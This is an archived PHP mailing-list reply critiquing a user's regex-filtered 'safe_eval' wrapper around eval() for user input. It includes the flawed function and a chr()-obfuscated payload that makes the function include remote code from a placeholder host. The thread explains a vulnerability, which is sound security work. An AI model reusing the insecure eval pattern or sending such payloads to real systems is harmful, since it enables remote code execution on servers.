Re: Evaluating math without eval()

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



On 10/04/2008, Jason Norwood-Young <jason@xxxxxxxxxxxxxxxxxxx> wrote:
> On Thu, 2008-04-10 at 13:15 +0100, Richard Heyes wrote:
>
> > > First post to this list! I'm trying to figure out how to evaluate a
>  > > string with a mathematical expression and get a result, but without
>  > > using eval() as I'm accepting user input into the string. I don't just
>  > > want addition, subtraction, multiplication and division - I'd like to
>  > > take advantage of other functions like ceil, floor etc.
>
>
> In reply to my own question, I came up with the following function based
>  on a comment on php.net
>  (http://www.php.net/manual/en/function.eval.php#71045). I had a look at
>  the array returned by get_defined_functions() and the maths functions
>  seem mostly to be grouped (with the exception of the random number
>  stuff). It works on my installation but there's nothing in the
>  documentation about get_defined_functions() returning in a particular
>  order - it would be safer to list each math function but I'm lazy.
>
>  protected function safe_eval($s) {
>         $funcs=get_defined_functions();
>         $funcs=$funcs["internal"];
>         $funcs=array_slice($funcs,array_search("abs",
>  $funcs),array_search("rad2deg",$funcs)-array_search("abs",$funcs));
>         $sfuncs="(".implode(")(",$funcs).")";
>         $s=preg_replace('`([^+\-*=/\(\)\d\^<>&|\.'.$sfuncs.']*)`','',$s);
>         if (empty($s)) {
>                 return 0;
>         } else {
>                 try {
>                         eval("\$s=$s;");
>                         return $s;
>                 } catch(Exception $e) {
>                         return 0;
>
>                 }
>         }
>  }

That kind of thing is pretty dangerous.

In this case the regex is broken - you're putting all the function
names within the character class. That means that any character
contained within one of the allowed function names may be used in the
eval. So you can use any function that consists entirely of the
characters

abcdefghilmnopqrstuwxy01234567890_+-*=/^<>&|

which means you can include() malicious content like this:

safe_eval('include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(101).chr(120).chr(97).chr(109).chr(112).chr(108).chr(101).chr(46).chr(99).chr(111).chr(109).chr(47).chr(112).chr(97).chr(121).chr(108).chr(111).chr(97).chr(100).chr(46).chr(112).chr(104).chr(112))');

which evaluates to include('http://example.com/payload.php')

-robin

-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[Index of Archives]     [PHP Home]     [Apache Users]     [PHP on Windows]     [Kernel Newbies]     [PHP Install]     [PHP Classes]     [Pear]     [Postgresql]     [Postgresql PHP]     [PHP on Windows]     [PHP Database Programming]     [PHP SOAP]

  Powered by Linux